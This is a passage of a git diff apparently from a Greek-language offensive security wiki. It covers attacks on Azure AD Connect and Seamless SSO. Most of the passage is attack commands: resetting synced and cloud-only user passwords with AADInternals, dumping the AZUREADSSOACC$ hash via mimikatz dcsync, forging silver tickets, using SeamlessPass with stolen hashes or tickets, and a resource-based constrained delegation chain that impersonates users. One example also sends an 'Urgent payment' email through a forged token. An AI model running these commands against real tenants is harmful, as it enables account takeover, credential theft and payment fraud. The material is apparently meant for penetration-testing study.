$creds = New-Object System.Management.Automation.PSCredential ("Sync_SKIURT-JAUYEH_123123123123@domain.onmicrosoft.com", $passwd)
|
||||
Get-AADIntAccessTokenForAADGraph -Credentials $creds - SaveToCache
|
||||
|
||||
# Get global admins
|
||||
Get-AADIntGlobalAdmins
|
||||
|
||||
# Get the ImmutableId of an on-prem user in Azure AD (this is the Unique Identifier derived from on-prem GUID)
|
||||
Get-AADIntUser -UserPrincipalName onpremadmin@domain.onmicrosoft.com | select ImmutableId
|
||||
|
||||
# Reset the users password
|
||||
Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustAPass12343.%" -Verbose
|
||||
|
||||
# Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync)
|
||||
```
|
||||
Είναι επίσης δυνατό να **τροποποιήσετε τους κωδικούς πρόσβασης μόνο των χρηστών του cloud** (ακόμα και αν αυτό είναι απροσδόκητο)
|
||||
```bash
|
||||
# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID
|
||||
# The CloudAnchor is of the format USER_ObjectID.
|
||||
Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,ObjectID
|
||||
|
||||
# Reset password
|
||||
Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers
|
||||
```
|
||||
Είναι επίσης δυνατό να εκχυθεί ο κωδικός πρόσβασης αυτού του χρήστη.
|
||||
|
||||
> [!CAUTION]
|
||||
> Μια άλλη επιλογή θα ήταν να **ανατεθούν προνομιακές άδειες σε έναν service principal**, τις οποίες έχει **δικαιώματα** να κάνει ο χρήστης **Sync**, και στη συνέχεια να **προσεγγιστεί αυτός ο service principal** ως τρόπος privesc.
|
||||
|
||||
### Seamless SSO
|
||||
|
||||
Είναι δυνατό να χρησιμοποιηθεί το Seamless SSO με PHS, το οποίο είναι ευάλωτο σε άλλες καταχρήσεις. Ελέγξτε το εδώ:
|
||||
|
||||
{{#ref}}
|
||||
seamless-sso.md
|
||||
{{#endref}}
|
||||
|
||||
## Pivoting Entra ID --> AD
|
||||
|
||||
- Εάν η δυνατότητα επαναγραφής κωδικού πρόσβασης είναι ενεργοποιημένη, μπορείτε να **τροποποιήσετε τον κωδικό πρόσβασης οποιουδήποτε χρήστη στο AD** που συγχρονίζεται με το Entra ID.
|
||||
- Εάν η δυνατότητα επαναγραφής ομάδων είναι ενεργοποιημένη, μπορείτε να **προσθέσετε χρήστες σε προνομιακές ομάδες** στο Entra ID που συγχρονίζονται με το AD.
|
||||
|
||||
## Αναφορές
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs)
|
||||
- [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
|
||||
- [https://troopers.de/downloads/troopers19/TROOPERS19_AD_Im_in_your_cloud.pdf](https://troopers.de/downloads/troopers19/TROOPERS19_AD_Im_in_your_cloud.pdf)
|
||||
- [https://www.youtube.com/watch?v=xei8lAPitX8](https://www.youtube.com/watch?v=xei8lAPitX8)
|
||||
- [https://www.silverfort.com/blog/exploiting-weaknesses-in-entra-id-account-synchronization-to-compromise-the-on-prem-environment/](https://www.silverfort.com/blog/exploiting-weaknesses-in-entra-id-account-synchronization-to-compromise-the-on-prem-environment/)
|
||||
- [https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
+125
-43
@@ -4,7 +4,7 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
[Από τα έγγραφα:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso) Το Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) **συνδέει αυτόματα τους χρήστες όταν βρίσκονται σε εταιρικές συσκευές** που είναι συνδεδεμένες στο εταιρικό σας δίκτυο. Όταν είναι ενεργοποιημένο, **οι χρήστες δεν χρειάζεται να πληκτρολογούν τους κωδικούς πρόσβασής τους για να συνδεθούν στο Azure AD**, και συνήθως, ούτε καν να πληκτρολογούν τα ονόματα χρήστη τους. Αυτή η δυνατότητα παρέχει στους χρήστες σας εύκολη πρόσβαση στις εφαρμογές σας που βασίζονται στο cloud χωρίς να χρειάζονται επιπλέον τοπικά στοιχεία.
|
||||
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso) Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) αυτόματα **συνδέει τους χρήστες όταν βρίσκονται σε συσκευές της εταιρείας τους** που είναι συνδεδεμένες στο εταιρικό σας δίκτυο. Όταν είναι ενεργοποιημένο, **οι χρήστες δεν χρειάζεται να πληκτρολογούν τους κωδικούς τους για να συνδεθούν στο Azure AD**, και συνήθως, ούτε καν να πληκτρολογούν τα ονόματα χρήστη τους. Αυτή η δυνατότητα παρέχει στους χρήστες σας εύκολη πρόσβαση στις εφαρμογές σας που βασίζονται στο cloud χωρίς να χρειάζονται επιπλέον τοπικά στοιχεία.
|
||||
|
||||
<figure><img src="../../../../images/image (275).png" alt=""><figcaption><p><a href="https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works">https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works</a></p></figcaption></figure>
|
||||
|
||||
@@ -12,15 +12,64 @@
|
||||
|
||||
Υποστηρίζεται και από τους [**PHS (Password Hash Sync)**](phs-password-hash-sync.md) και [**PTA (Pass-through Authentication)**](pta-pass-through-authentication.md).
|
||||
|
||||
Το Desktop SSO χρησιμοποιεί **Kerberos** για την αυθεντικοποίηση. Όταν ρυθμιστεί, το Azure AD Connect δημιουργεί έναν **λογαριασμό υπολογιστή που ονομάζεται AZUREADSSOACC`$`** στο τοπικό AD. Ο κωδικός πρόσβασης του λογαριασμού `AZUREADSSOACC$` **αποστέλλεται ως απλό κείμενο στο Azure AD** κατά τη διάρκεια της ρύθμισης.
|
||||
Το Desktop SSO χρησιμοποιεί **Kerberos** για την αυθεντικοποίηση. Όταν ρυθμιστεί, το Azure AD Connect δημιουργεί έναν **λογαριασμό υπολογιστή που ονομάζεται `AZUREADSSOACC$`** στο τοπικό AD. Ο κωδικός πρόσβασης του λογαριασμού `AZUREADSSOACC$` **αποστέλλεται ως απλό κείμενο στο Entra ID** κατά τη διάρκεια της ρύθμισης.
|
||||
|
||||
Οι **εισιτήριοι Kerberos** είναι **κρυπτογραφημένοι** χρησιμοποιώντας το **NTHash (MD4)** του κωδικού πρόσβασης και το Azure AD χρησιμοποιεί τον αποσταλμένο κωδικό πρόσβασης για να αποκρυπτογραφήσει τους εισητήριους.
|
||||
Οι **εισιτήριοι Kerberos** είναι **κρυπτογραφημένοι** χρησιμοποιώντας το **NTHash (MD4)** του κωδικού πρόσβασης και το Entra ID χρησιμοποιεί τον αποσταλμένο κωδικό πρόσβασης για να αποκρυπτογραφήσει τους εισητήριους.
|
||||
|
||||
**Το Azure AD** εκθέτει ένα **endpoint** (https://autologon.microsoftazuread-sso.com) που δέχεται **εισιτήρια** Kerberos. Ο περιηγητής της μηχανής που είναι συνδεδεμένη σε τομέα προωθεί τα εισητήρια σε αυτό το endpoint για SSO.
|
||||
**Entra ID** εκθέτει ένα **endpoint** (https://autologon.microsoftazuread-sso.com) που δέχεται **εισιτήρια** Kerberos. Ο περιηγητής της μηχανής που είναι συνδεδεμένη σε τομέα προωθεί τα εισητήρια σε αυτό το endpoint για SSO.
|
||||
|
||||
### On-prem -> cloud
|
||||
### Enumeration
|
||||
```bash
|
||||
# Check if the SSO is enabled in the tenant
|
||||
Import-Module AADInternals
|
||||
Invoke-AADIntReconAsOutsider -Domain <domain name> | Format-Table
|
||||
|
||||
Ο **κωδικός πρόσβασης** του χρήστη **`AZUREADSSOACC$` δεν αλλάζει ποτέ**. Επομένως, ένας διαχειριστής τομέα θα μπορούσε να παραβιάσει το **hash αυτού του λογαριασμού**, και στη συνέχεια να το χρησιμοποιήσει για να **δημιουργήσει ασημένια εισιτήρια** για να συνδεθεί στο Azure με **οποιονδήποτε τοπικό χρήστη συγχρονισμένο**:
|
||||
# Check if the AZUREADSSOACC$ account exists in the domain
|
||||
Install-WindowsFeature RSAT-AD-PowerShell
|
||||
Import-Module ActiveDirectory
|
||||
Get-ADComputer -Filter "SamAccountName -like 'AZUREADSSOACC$'"
|
||||
|
||||
# Check it using raw LDAP queries without needing an external module
|
||||
$searcher = New-Object System.DirectoryServices.DirectorySearcher
|
||||
$searcher.Filter = "(samAccountName=AZUREADSSOACC`$)"
|
||||
$searcher.FindOne()
|
||||
```
|
||||
## Pivoting: On-prem -> cloud
|
||||
|
||||
> [!WARNING]
|
||||
> Το κύριο πράγμα που πρέπει να γνωρίζετε για αυτήν την επίθεση είναι ότι το να έχετε μόνο το TGT ή ένα συγκεκριμένο TGS ενός χρήστη που συγχρονίζεται με το Entra ID είναι αρκετό για να αποκτήσετε πρόσβαση στους πόρους του cloud.\
|
||||
> Αυτό συμβαίνει επειδή είναι ένα εισιτήριο που επιτρέπει σε έναν χρήστη να συνδεθεί στο cloud.
|
||||
|
||||
Για να αποκτήσει αυτό το εισιτήριο TGS, ο επιτιθέμενος πρέπει να έχει ένα από τα εξής:
|
||||
- **TGS ενός συμβιβασμένου χρήστη:** Εάν συμβιβάσετε τη συνεδρία ενός χρήστη με το εισιτήριο για το `HTTP/autologon.microsoftazuread-sso.com` στη μνήμη, μπορείτε να το χρησιμοποιήσετε για να αποκτήσετε πρόσβαση στους πόρους του cloud.
|
||||
- **TGT ενός συμβιβασμένου χρήστη:** Ακόμα και αν δεν έχετε ένα, αλλά ο χρήστης έχει συμβιβαστεί, μπορείτε να αποκτήσετε ένα χρησιμοποιώντας το κόλπο ψεύτικης ανάθεσης TGT που έχει υλοποιηθεί σε πολλά εργαλεία όπως το [Kekeo](https://x.com/gentilkiwi/status/998219775485661184) και το [Rubeus](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9).
|
||||
- **Hash ή κωδικό πρόσβασης ενός συμβιβασμένου χρήστη:** Το SeamlessPass θα επικοινωνήσει με τον ελεγκτή τομέα με αυτές τις πληροφορίες για να δημιουργήσει το TGT και στη συνέχεια το TGS.
|
||||
- **Ένα χρυσό εισιτήριο:** Εάν έχετε το κλειδί KRBTGT, μπορείτε να δημιουργήσετε το TGT που χρειάζεστε για τον επιτιθέμενο χρήστη.
|
||||
- **Hash ή κωδικό πρόσβασης του λογαριασμού AZUREADSSOACC$:** Με αυτές τις πληροφορίες και τον Αναγνωριστή Ασφαλείας (SID) του χρήστη που επιτίθεστε, είναι δυνατό να δημιουργήσετε ένα εισιτήριο υπηρεσίας και να αυθεντικοποιηθείτε με το cloud (όπως εκτελείται στην προηγούμενη μέθοδο).
|
||||
|
||||
### [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass)
|
||||
|
||||
Όπως [εξηγείται σε αυτήν την ανάρτηση ιστολογίου](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/), το να έχετε οποιαδήποτε από τις προηγούμενες απαιτήσεις είναι πολύ εύκολο να χρησιμοποιήσετε το εργαλείο **SeamlessPass** για να αποκτήσετε πρόσβαση στους πόρους του cloud ως ο συμβιβασμένος χρήστης, ή ως οποιοσδήποτε χρήστης αν έχετε το **`AZUREADSSOACC$`** hash ή κωδικό πρόσβασης.
|
||||
|
||||
Τέλος, με το TGT είναι δυνατό να χρησιμοποιήσετε το εργαλείο [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass) με:
|
||||
```bash
|
||||
# Using the TGT to access the cloud
|
||||
seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -tgt <base64_encoded_TGT>
|
||||
# Using the TGS to access the cloud
|
||||
seamlesspass -tenant corp.com -tgs user_tgs.ccache
|
||||
# Using the victims account hash or password to access the cloud
|
||||
seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -username user -ntlm DEADBEEFDEADBEEFDEADBEEFDEADBEEF
|
||||
seamlesspass -tenant corp.com -domain corp.local -dc 10.0.1.2 -username user -password password
|
||||
# Using the AZUREADSSOACC$ account hash (ntlm or aes) to access the cloud with a specific user SID and domain SID
|
||||
seamlesspass -tenant corp.com -adssoacc-ntlm DEADBEEFDEADBEEFDEADBEEFDEADBEEF -user-sid S-1-5-21-1234567890-1234567890-1234567890-1234
|
||||
seamlesspass -tenant corp.com -adssoacc-aes DEADBEEFDEADBEEFDEADBEEFDEADBEEF -domain-sid S-1-5-21-1234567890-1234567890-1234567890 -user-rid 1234
|
||||
wmic useraccount get name,sid # Get the user SIDs
|
||||
```
|
||||
Περισσότερες πληροφορίες για να ρυθμίσετε το Firefox να λειτουργεί με seamless SSO μπορείτε να [**βρείτε σε αυτήν την ανάρτηση ιστολογίου**](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/).
|
||||
|
||||
### Λήψη κατακερματισμών του λογαριασμού AZUREADSSOACC$
|
||||
|
||||
Ο **κωδικός πρόσβασης** του χρήστη **`AZUREADSSOACC$` ποτέ δεν αλλάζει**. Επομένως, ένας διαχειριστής τομέα θα μπορούσε να παραβιάσει τον **κατακερματισμό αυτού του λογαριασμού** και στη συνέχεια να τον χρησιμοποιήσει για να **δημιουργήσει ασημένια εισιτήρια** για να συνδεθεί στο Azure με **οποιονδήποτε συγχρονισμένο χρήστη on-prem**:
|
||||
```bash
|
||||
# Dump hash using mimikatz
|
||||
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"'
|
||||
@@ -38,14 +87,20 @@ Import-Module DSInternals
|
||||
$key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM'
|
||||
(Get-ADDBAccount -SamAccountName 'AZUREADSSOACC$' -DBPath 'C:\temp\Active Directory\ntds.dit' -BootKey $key).NTHash | Format-Hexos
|
||||
```
|
||||
Με το hash μπορείτε τώρα **να δημιουργήσετε ασημένια εισιτήρια**:
|
||||
> [!NOTE]
|
||||
> Με τις τρέχουσες πληροφορίες, μπορείτε απλά να χρησιμοποιήσετε το εργαλείο **SeamlessPass** όπως αναφέρθηκε προηγουμένως για να αποκτήσετε azure και entraid tokens για οποιονδήποτε χρήστη στο domain.
|
||||
> Μπορείτε επίσης να χρησιμοποιήσετε τις προηγούμενες τεχνικές (και άλλες) για να αποκτήσετε το hash του κωδικού πρόσβασης του θύματος που θέλετε να μιμηθείτε αντί για τον λογαριασμό `AZUREADSSOACC$`.
|
||||
|
||||
#### Δημιουργία Silver Tickets
|
||||
|
||||
Με το hash μπορείτε τώρα να **δημιουργήσετε silver tickets**:
|
||||
```bash
|
||||
# Get users and SIDs
|
||||
Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier
|
||||
|
||||
# Create a silver ticket to connect to Azure with mimikatz
|
||||
Invoke-Mimikatz -Command '"kerberos::golden /user:onpremadmin /sid:S-1-5-21-123456789-1234567890-123456789 /id:1105 /domain:domain.local /rc4:<azureadssoacc hash> /target:aadg.windows.net.nsatc.net /service:HTTP /ptt"'
|
||||
mimikatz.exe "kerberos::golden /user:elrond /sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234 /domain:contoso.local /rc4:12349e088b2c13d93833d0ce947676dd /target:aadg.windows.net.nsatc.net /service:HTTP /ptt" exit
|
||||
Invoke-Mimikatz -Command '"kerberos::golden /user:onpremadmin /sid:S-1-5-21-123456789-1234567890-123456789 /id:1105 /domain:domain.local /rc4:<azureadssoacc hash> /target:autologon.microsoftazuread-sso.com /service:HTTP /ptt"'
|
||||
mimikatz.exe "kerberos::golden /user:elrond /sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234 /domain:contoso.local /rc4:12349e088b2c13d93833d0ce947676dd /target:autologon.microsoftazuread-sso.com /service:HTTP /ptt" exit
|
||||
|
||||
# Create silver ticket with AADInternal to access Exchange Online
|
||||
$kerberos=New-AADIntKerberosTicket -SidString "S-1-5-21-854168551-3279074086-2022502410-1104" -Hash "097AB3CBED7B9DD6FE6C992024BC38F4"
|
||||
@@ -53,52 +108,79 @@ $at=Get-AADIntAccessTokenForEXO -KerberosTicket $kerberos -Domain company.com
|
||||
## Send email
|
||||
Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Subject "Urgent payment" -Message "<h1>Urgent!</h1><br>The following bill should be paid asap."
|
||||
```
|
||||
### Χρήση Silver Tickets με Firefox
|
||||
|
||||
Για να χρησιμοποιήσετε το silver ticket, θα πρέπει να εκτελέσετε τα εξής βήματα:
|
||||
|
||||
1. **Εκκίνηση του Browser:** Πρέπει να εκκινήσετε τον Mozilla Firefox.
|
||||
2. **Ρύθμιση του Browser:**
|
||||
1. **Εκκίνηση του Προγράμματος Περιήγησης:** Πρέπει να εκκινήσετε το Mozilla Firefox.
|
||||
2. **Ρύθμιση του Προγράμματος Περιήγησης:**
|
||||
- Μεταβείτε στο **`about:config`**.
|
||||
- Ρυθμίστε την προτίμηση για [network.negotiate-auth.trusted-uris](https://github.com/mozilla/policy-templates/blob/master/README.md#authentication) στις καθορισμένες [τιμές](https://docs.microsoft.com/en-us/azure/active-directory/connect/active-directory-aadconnect-sso#ensuring-clients-sign-in-automatically):
|
||||
- `https://aadg.windows.net.nsatc.net`
|
||||
- `https://autologon.microsoftazuread-sso.com`
|
||||
- Ρυθμίστε την προτίμηση για [network.negotiate-auth.trusted-uris](https://github.com/mozilla/policy-templates/blob/master/README.md#authentication) στην καθορισμένη [τιμή](https://docs.microsoft.com/en-us/azure/active-directory/connect/active-directory-aadconnect-sso#ensuring-clients-sign-in-automatically):
|
||||
- `https://aadg.windows.net.nsatc.net,https://autologon.microsoftazuread-sso.com`
|
||||
- Μεταβείτε στις ρυθμίσεις του Firefox `Settings` > Αναζητήστε `Allow Windows single sign-on for Microsoft, work and school accounts` και ενεργοποιήστε το.
|
||||
3. **Πρόσβαση στην Ιστοσελίδα Εφαρμογής:**
|
||||
- Επισκεφθείτε μια διαδικτυακή εφαρμογή που είναι ενσωματωμένη με το AAD domain της οργάνωσης. Ένα κοινό παράδειγμα είναι το [Office 365](https://portal.office.com/).
|
||||
- Επισκεφθείτε μια ιστοσελίδα εφαρμογής που είναι ενσωματωμένη με το AAD domain της οργάνωσης. Ένα κοινό παράδειγμα είναι το [login.microsoftonline.com](https://login.microsoftonline.com/).
|
||||
4. **Διαδικασία Αυθεντικοποίησης:**
|
||||
- Στην οθόνη σύνδεσης, πρέπει να εισαχθεί το όνομα χρήστη, αφήνοντας το πεδίο κωδικού πρόσβασης κενό.
|
||||
- Στην οθόνη σύνδεσης, θα πρέπει να εισαχθεί το όνομα χρήστη, αφήνοντας το πεδίο κωδικού πρόσβασης κενό.
|
||||
- Για να προχωρήσετε, πατήστε είτε TAB είτε ENTER.
|
||||
|
||||
> [!TIP]
|
||||
> Αυτό δεν παρακάμπτει το MFA αν είναι ενεργοποιημένο
|
||||
> [!WARNING]
|
||||
> Αυτό **δεν παρακάμπτει το MFA αν είναι ενεργοποιημένο** για τον χρήστη.
|
||||
|
||||
#### Επιλογή 2 χωρίς dcsync - SeamlessPass
|
||||
|
||||
Είναι επίσης δυνατό να εκτελέσετε αυτήν την επίθεση **χωρίς επίθεση dcsync** για να είστε πιο διακριτικοί, όπως [εξηγείται σε αυτήν την ανάρτηση blog](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/). Για αυτό χρειάζεστε μόνο ένα από τα εξής:
|
||||
|
||||
- **TGT ενός συμβιβασμένου χρήστη:** Ακόμα και αν δεν έχετε ένα, αλλά ο χρήστης έχει συμβιβαστεί, μπορείτε να αποκτήσετε ένα χρησιμοποιώντας το κόλπο ψεύτικης TGT delegation που έχει υλοποιηθεί σε πολλά εργαλεία όπως το [Kekeo](https://x.com/gentilkiwi/status/998219775485661184) και το [Rubeus](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9).
|
||||
- **Golden Ticket**: Αν έχετε το κλειδί KRBTGT, μπορείτε να δημιουργήσετε το TGT που χρειάζεστε για τον επιτιθέμενο χρήστη.
|
||||
- **NTLM hash ή AES key ενός συμβιβασμένου χρήστη:** Το SeamlessPass θα επικοινωνήσει με τον domain controller με αυτές τις πληροφορίες για να δημιουργήσει το TGT.
|
||||
- **NTLM hash ή AES key του λογαριασμού AZUREADSSOACC$:** Με αυτές τις πληροφορίες και τον Security Identifier (SID) του χρήστη που επιτίθεστε, είναι δυνατό να δημιουργήσετε ένα service ticket και να αυθεντικοποιηθείτε με το cloud (όπως εκτελέστηκε στην προηγούμενη μέθοδο).
|
||||
|
||||
Τέλος, με το TGT είναι δυνατό να χρησιμοποιήσετε το εργαλείο [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass) με:
|
||||
```
|
||||
seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -tgt <base64_TGT>
|
||||
```
|
||||
Περισσότερες πληροφορίες για να ρυθμίσετε το Firefox να λειτουργεί με seamless SSO μπορούν να [**βρεθούν σε αυτήν την ανάρτηση blog**](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/).
|
||||
|
||||
#### ~~Δημιουργία Kerberos tickets για χρήστες μόνο στο cloud~~ <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
|
||||
|
||||
Εάν οι διαχειριστές του Active Directory έχουν πρόσβαση στο Azure AD Connect, μπορούν να **ορίσουν SID για οποιονδήποτε χρήστη cloud**. Με αυτόν τον τρόπο, τα Kerberos **tickets** μπορούν να **δημιουργηθούν και για χρήστες μόνο στο cloud**. Η μόνη απαίτηση είναι ότι το SID είναι ένα κατάλληλο [SID](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc778824(v=ws.10)>).
|
||||
|
||||
> [!CAUTION]
|
||||
> Η αλλαγή του SID των χρηστών διαχειριστών μόνο στο cloud είναι τώρα **μπλοκαρισμένη από τη Microsoft**.\
|
||||
> Για πληροφορίες δείτε [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
|
||||
|
||||
### On-prem -> Cloud μέσω Resource Based Constrained Delegation <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
|
||||
|
||||
Οποιοσδήποτε μπορεί να διαχειριστεί λογαριασμούς υπολογιστών (`AZUREADSSOACC$`) στο κοντέινερ ή OU όπου βρίσκεται αυτός ο λογαριασμός, μπορεί να **ρυθμίσει μια περιορισμένη ανάθεση πόρων πάνω από τον λογαριασμό και να έχει πρόσβαση σε αυτόν**.
|
||||
```python
|
||||
python rbdel.py -u <workgroup>\\<user> -p <pass> <ip> azureadssosvc$
|
||||
Για να εκτελέσετε την επίθεση απαιτείται:
|
||||
|
||||
- `WriteDACL` / `GenericWrite` πάνω από `AZUREADSSOACC$`
|
||||
- Ένας λογαριασμός υπολογιστή που ελέγχετε (hash & password) - Μπορείτε να δημιουργήσετε έναν
|
||||
|
||||
|
||||
1. Βήμα 1 – Προσθέστε τον δικό σας λογαριασμό υπολογιστή
|
||||
- Δημιουργεί το `ATTACKBOX$` και εκτυπώνει το SID/NTLM hash του. Οποιοσδήποτε χρήστης του domain μπορεί να το κάνει αυτό ενώ το MachineAccountQuota > 0
|
||||
```bash
|
||||
# Impacket
|
||||
python3 addcomputer.py CONTOSO/bob:'P@ssw0rd!' -dc-ip 10.0.0.10 \
|
||||
-computer ATTACKBOX$ -password S3cureP@ss
|
||||
```
|
||||
2. Βήμα 2 – Χορήγηση RBCD στο `AZUREADSSOACC$` - Γράφει το SID της μηχανής σας στο `msDS-AllowedToActOnBehalfOfOtherIdentity`.
|
||||
```bash
|
||||
python3 rbcd.py CONTOSO/bob:'P@ssw0rd!'@10.0.0.10 \
|
||||
ATTACKBOX$ AZUREADSSOACC$
|
||||
|
||||
# Or, from Windows:
|
||||
$SID = (Get-ADComputer ATTACKBOX$).SID
|
||||
Set-ADComputer AZUREADSSOACC$ `
|
||||
-PrincipalsAllowedToDelegateToAccount $SID
|
||||
```
|
||||
3. Βήμα 3 – Δημιουργία TGS για οποιονδήποτε χρήστη (π.χ. alice)
|
||||
```bash
|
||||
# Using your machine's password or NTLM hash
|
||||
python3 getST.py -dc-ip 192.168.1.10 \
|
||||
-spn HTTP/autologon.microsoftazuread-sso.com \
|
||||
-impersonate alice \
|
||||
DOMAIN/ATTACKBOX$ -hashes :9b3c0d06d0b9a6ef9ed0e72fb2b64821
|
||||
|
||||
# Produces alice.autologon.ccache
|
||||
|
||||
#Or, from Windows:
|
||||
Rubeus s4u /user:ATTACKBOX$ /rc4:9b3c0d06d0b9a6ef9ed0e72fb2b64821 `
|
||||
/impersonateuser:alice `
|
||||
/msdsspn:"HTTP/autologon.microsoftazuread-sso.com" /dc:192.168.1.10 /ptt
|
||||
```
|
||||
Μπορείτε τώρα να χρησιμοποιήσετε το **TGS για να αποκτήσετε πρόσβαση σε πόρους Azure ως ο χρήστης που έχει προσποιηθεί.**
|
||||
|
||||
|
||||
### ~~Δημιουργία εισιτηρίων Kerberos για χρήστες μόνο στο cloud~~ <a href="#creating-kerberos-tickets-for-cloud-only-users" id="creating-kerberos-tickets-for-cloud-only-users"></a>
|
||||
|
||||
Εάν οι διαχειριστές του Active Directory έχουν πρόσβαση στο Azure AD Connect, μπορούν να **ορίσουν SID για οποιονδήποτε χρήστη cloud.** Με αυτόν τον τρόπο, τα εισιτήρια Kerberos **μπορούν να δημιουργηθούν και για χρήστες μόνο στο cloud.** Η μόνη απαίτηση είναι ότι το SID είναι ένα κατάλληλο [SID](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc778824(v=ws.10)>).
|
||||
|
||||
> [!CAUTION]
|
||||
> Η αλλαγή του SID των χρηστών διαχειριστών μόνο στο cloud είναι τώρα **μπλοκαρισμένη από τη Microsoft.**\
|
||||
> Για πληροφορίες, ελέγξτε [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
|
||||
|
||||
|
||||
|
||||
## Αναφορές
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso)
|
||||
|
||||
Reference in New Issue
Block a user